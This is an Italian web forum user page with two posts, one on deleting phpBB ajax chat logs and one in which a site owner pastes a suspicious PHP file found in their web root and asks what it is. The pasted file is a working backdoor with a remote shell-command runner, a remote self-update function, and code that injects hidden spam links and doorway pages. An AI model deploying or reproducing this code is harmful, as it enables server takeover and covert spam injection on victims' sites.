Salta al contenuto
  • CATEGORIES
  • La Community Connect.gt
  • Presentati alla Community
  • News Ufficiali da Connect.gt
  • Internet News
  • A Scuola Di
  • Digital Marketing
  • Intelligenza Artificiale
  • SEO & GEO
  • Web Marketing e Content
  • Google Analytics e Web Analytics
  • Google Ads & Advertising
  • YouTube
  • TikTok, Instagram e altri Social
  • Google Adsense, Affiliazioni e Guadagno
  • E-Commerce
  • Coding e Sistemistica
  • Help Center: consigli per il tuo progetto
  • Hosting e Cloud
  • Coding
  • CMS & Piattaforme Self-Hosted
  • Annunci e Collaborazioni
  • Annunci Vendita e Acquisto: Pubblicità, Domini, Link e altro
  • Collaborazioni WEB e Lavoro: offro e cerco
  • Impresa, Fisco e Leggi
  • Consulenza Legale e Professioni Web
  • Consulenza Fiscale, Imprese, Startup e P.Iva
  • Gli Off Topic
  • PC, Smartphone e altri Hardware
  • Tutti i Software
  • GT Fetish Cafè
  • Discussioni
  • 0 Non letti 0
  • Recenti
  • Hashtag
  • Popolare
  • Utenti
  • Privacy
  • Termini e condizioni
  • © 2026 Search On Media Group S.r.l.
Collassa
Connect.gt
Il network Search On
Connect.gt WMF AI Festival Accademia Advanced SEO Tool AgentCy Social Media Strategies Search Tech
Registrati Accedi
Connect.gt
Stream Interest Categorie Hashtag
N

nevermind

@nevermind
Non seguire Segui
Informazioni
Post
2
Discussioni
2
Condivisioni
0
Gruppi
0
Da chi è seguito
0
Chi segue
0

Post

Recenti Migliore Controverso

  • Cancellare vecchi messaggi chat ajax
    N nevermind
    CMS & Piattaforme Self-Hosted

    Ciao a tutti,

    ho integrato su phpbb3 la meravigliosa chat ajax (blueimp.net/ajax).
    Controllando il ?view=logs ho visto che tutti i messaggi scambiati in chat restano memorizzati e quindi salvati nel database.
    Chiedo come eliminare tali messaggi e se esiste un metodo pratico per farlo che non sia quello di andar metter mano nel database.

    Qualcuno di voi la usa e mi sa aiutare...?


  • comparsa cartella sospetta nella root principale
    N nevermind
    Help Center: consigli per il tuo progetto

    Salve a tutti, premetto che questo è il mio primo thread sul forum GT e spero sia questa la sezione giusta per ricevere una risposta in merito ad un mio dubbio. Da un paio di giorni mi ritrovo nella root principale una nuova cartella con al suo interno 2 file:

    1. eoc.php
    2. m (non ho idea che tipo di file sia)

    Purtroppo non ho nessuna conoscenza del linguaggio PHP e vorrei chiedervi informazioni riguardo al codice contenuto all'interno del file eco.php che è questo:

    <?php
    ignore_user_abort(1);
    set_time_limit(0);

    function Clear()
    {
    unlink("c");
    unlink("1r");
    unlink("log");
    }

    function Clear2()
    {
    $mrd = trim(file_get_contents("m"));
    $pt = "../$mrd";
    $fin = file_get_contents($pt);
    $fin = ereg_replace("<adsttnmq1>(.)<sdioyslkjs2>", "", $fin);
    $fin = ereg_replace("<!--dd4-->(.
    )<!--dd5-->", "", $fin);
    $fin = preg_replace('#<a[^>]+_lm[^>]>.?</a>#is', '', $fin);
    $fin = preg_replace("/http(.?)tmp6(.?)</a>/", "", $fin);
    $fin = ereg_replace("<!--dd4-->", "", $fin);
    $fin = ereg_replace("<!--dd5-->", "", $fin);
    $fin = ereg_replace("<font style="position: absolute;overflow: hidden;height: 0;width: 0">", "", $fin);
    $fmrd = fopen($pt, "w+");
    fwrite($fmrd, $fin);
    fclose($fmrd);
    echo " upt-ok";
    }

    function GetVar($name, &$var)
    {
    $var = "";
    if (isset($_POST[$name]))
    $var = $_POST[$name];

    if (isset($_GET[$name]))
    $var = $_GET[$name];

    if (($var) =="")
      return  false;
      else return true;
    

    }

    function Gen()
    {
    $alp = "abcdefghiklmnjsweqrtyuiopzx";
    $maps = array();
    if (isset($_POST["sg"]))
    $sg = $_POST["sg"];

    if (isset($_GET["sg"]))
    $sg = $_GET["sg"];

    if (isset($_POST["gm"]))
      $g = $_POST["gm"];
    
    if (isset($_GET["gm"]))
        $g = $_GET["gm"];
        
        
    $path = "";
    $fr = fopen("1r", "a+");
    if (file_exists("c"))
    {
        $fconf = file("c");
        $tname = trim($fconf[0]);
        $cname = trim($fconf[1]);
        $curs = trim($fconf[2]);
        $pid = trim($fconf[3]);
        if ($pid == 100)
        {
            $pid = 0;
            $rnd = mt_rand(0, 999);
            $nm = "";
        for ($i=0; $i<3; $i++)
          {
              $ran = mt_rand(0,26);
              $sym = $alp[$ran];
              $nm = $nm.$sym;
          }
            $cname = $nm;
            mkdir("$tname/$cname");
            $curs = $g;
        }
    }
    else 
    {
        $rnd = mt_rand(0, 999);
        $nm = "";
      for ($i=0; $i<5; $i++)
        {
            $ran = mt_rand(0,26);
            $sym = $alp[$ran];
            $nm = $nm.$sym;
        }
        $tname = $nm;
        $pid = 0;
        $curs = $g;
        mkdir($tname);
        $fht = fopen("$tname/.htaccess", "w+");
        $htname = $sg."2.txt";
        $fp = fopen($htname, "r");
        $fin = '';
        while (!feof($fp))
        {
             $fc = fgets($fp, 1024);
             if (!$fc) break;
           $fin .= $fc;
        }
        fclose($fp);
        fwrite($fht, $fin);
        fclose($fht);
        $rnd = mt_rand(0, 999);
        $nm = "";
    for ($i=0; $i<3; $i++)
      {
          $ran = mt_rand(0,26);
          $sym = $alp[$ran];
          $nm = $nm.$sym;
      }
        $cname = $nm;
    mkdir("$tname/$cname");
    }
    

    $gname = $sg."sgen.php";
    for ($j=$pid; $j<$pid+10; $j++)
    {
    $fp = fopen($gname."?g=$curs", "r");
    $fin = '';
    while (!feof($fp))
    {
    $fc = fgets($fp, 1024);
    if (!$fc) break;
    $fin .= $fc;
    }
    fclose($fp);

        $fnd = fopen("$tname/$cname/$curs"."_$j.htm", "w+");
        fwrite($fnd, $fin);
        fclose($fnd);
    }
    
    if ($j==100)
    {
      $fp = fopen($gname."?g=$curs&m=1", "r");
        $fin = '';
        while (!feof($fp))
        {
             $fc = fgets($fp, 1024);
             if (!$fc) break;
           $fin .= $fc;
        }
        fclose($fp);
        $fnd = fopen("$tname/$cname/$curs"."_lm.htm", "w+");
        fwrite($fnd, $fin);
        fclose($fnd);
        $map = "$path/$tname/$cname/$curs"."_lm.htm";
        fwrite($fr,"$map\n");
    }
    
    $fconf = fopen("c", "w+");
    fwrite($fconf, $tname."\n");
    fwrite($fconf, $cname."\n");
    fwrite($fconf, $curs."\n");
    $nj = $j;
    fwrite($fconf, $nj."\n");
    fclose($fconf);
    

    }

    function Update()
    {
    $thisname = "1.php";
    if (isset($_POST['u']))
    $u = $_POST['u'];

    if (isset($_GET['u']))
         $u = $_GET['u'];
         
     $fp = fopen($u, "r");
    

    $fin = '';
    while (!feof($fp))
    {
    $fc = fgets($fp, 1024);
    if (!$fc) break;
    $fin .= $fc;
    }
    fclose($fp);

    $fthis = fopen($thisname, "w+");
    fwrite($fthis, $fin);
    fclose($fthis);
    }

    function Com()
    {
    if (isset($_POST['c']))
    @system($_POST['c']);
    if (isset($_GET['c']))
    @system($_GET['c']);
    }

    function UpKos()
    {
    $mrd = trim(file_get_contents("m"));
    $pt = "../$mrd";
    $fin = file_get_contents($pt);
    $fin = ereg_replace("adsttnmq1", "<adsttnmq1>", $fin);
    $fin = ereg_replace("sdioyslkjs2", "<sdioyslkjs2>", $fin);
    $fmrd = fopen($pt, "w+");
    fwrite($fmrd, $fin);
    fclose($fmrd);
    }

    function MRepl()
    {
    $mpt = "";
    $drs = "";
    $begtag = "<adsttnmq1><font style="position: absolute;overflow: hidden;height: 0;width: 0">";
    $endtag = "</font></body></html><sdioyslkjs2> ";
    $mrd = trim(file_get_contents("m"));
    $pt = "../$mrd";
    $fin = file_get_contents($pt);
    GetVar("mpt", $mpt);
    // óäàëÿåì çàâåðøàþùèå õòìë òåãè
    $fin = preg_replace ("/</body>/i", "", $fin);
    $fin = preg_replace ("/</html>/i", "", $fin);
    $fin = ereg_replace("<!--dd4-->(.)<!--dd5-->", "", $fin);
    $fin = ereg_replace("<adsttnmq1>(.
    )<sdioyslkjs2>", "", $fin);
    $fp = fopen($mpt, "r");
    GetVar("drs", $drs);
    $fin = $fin.$begtag;
    $drs = str_replace("\", "", $drs);
    $fin = $fin.$drs;
    $fin = $fin.$endtag;
    $fmrd = fopen($pt, "w+");
    fwrite($fmrd, $fin);
    fclose($fmrd);
    }

    function Main()
    {
    if (isset($_POST['u']) || isset($_GET['u']))
    {
    Update();
    exit();
    }

    if (isset($_POST['c']) || isset($_GET['c']))
    {
        Com();
        exit();
    }
    
        if (isset($_POST['uk']) || isset($_GET['uk']))
    {
        UpKos();
        exit();
    }
    
    if (isset($_POST['g']) || isset($_GET['g']))
    {
        Gen();
        exit();
    }
    
    if (isset($_POST['s']) || isset($_GET['s']))
    {
        MRepl();
        exit();
    }
    

    if (isset($_POST['cl']) || isset($_GET['cl']))
    {
    Clear();
    exit();
    }

    if (isset($_POST['cl2']) || isset($_GET['cl2']))
    {
        Clear2();
        exit();
    }
    
    echo "<ok>";
    

    }

    Main();

    ?>

    Di cosa si tratta? La cartella contenente i 2 file è comparsa da sola l'altro ieri, non l'ho inserita io e non ho apportato modifiche al sito negli ultimi giorni. C'è qualcuno che gentilmente mi sa rispondere? Grazie.

  • Accedi

  • Non hai un account? Registrati

  • Accedi o registrati per effettuare la ricerca.
  • Primo post
    Ultimo post
Home Accedi Registrati
Menu
  • CATEGORIES
  • La Community Connect.gt
  • Presentati alla Community
  • News Ufficiali da Connect.gt
  • Internet News
  • A Scuola Di
  • Digital Marketing
  • Intelligenza Artificiale
  • SEO & GEO
  • Web Marketing e Content
  • Google Analytics e Web Analytics
  • Google Ads & Advertising
  • YouTube
  • TikTok, Instagram e altri Social
  • Google Adsense, Affiliazioni e Guadagno
  • E-Commerce
  • Coding e Sistemistica
  • Help Center: consigli per il tuo progetto
  • Hosting e Cloud
  • Coding
  • CMS & Piattaforme Self-Hosted
  • Annunci e Collaborazioni
  • Annunci Vendita e Acquisto: Pubblicità, Domini, Link e altro
  • Collaborazioni WEB e Lavoro: offro e cerco
  • Impresa, Fisco e Leggi
  • Consulenza Legale e Professioni Web
  • Consulenza Fiscale, Imprese, Startup e P.Iva
  • Gli Off Topic
  • PC, Smartphone e altri Hardware
  • Tutti i Software
  • GT Fetish Cafè
  • Discussioni
  • Non letti 0
  • Recenti
  • Hashtag
  • Popolare
  • Utenti
  • Privacy
  • Termini e condizioni
  • © 2026 Search On Media Group S.r.l.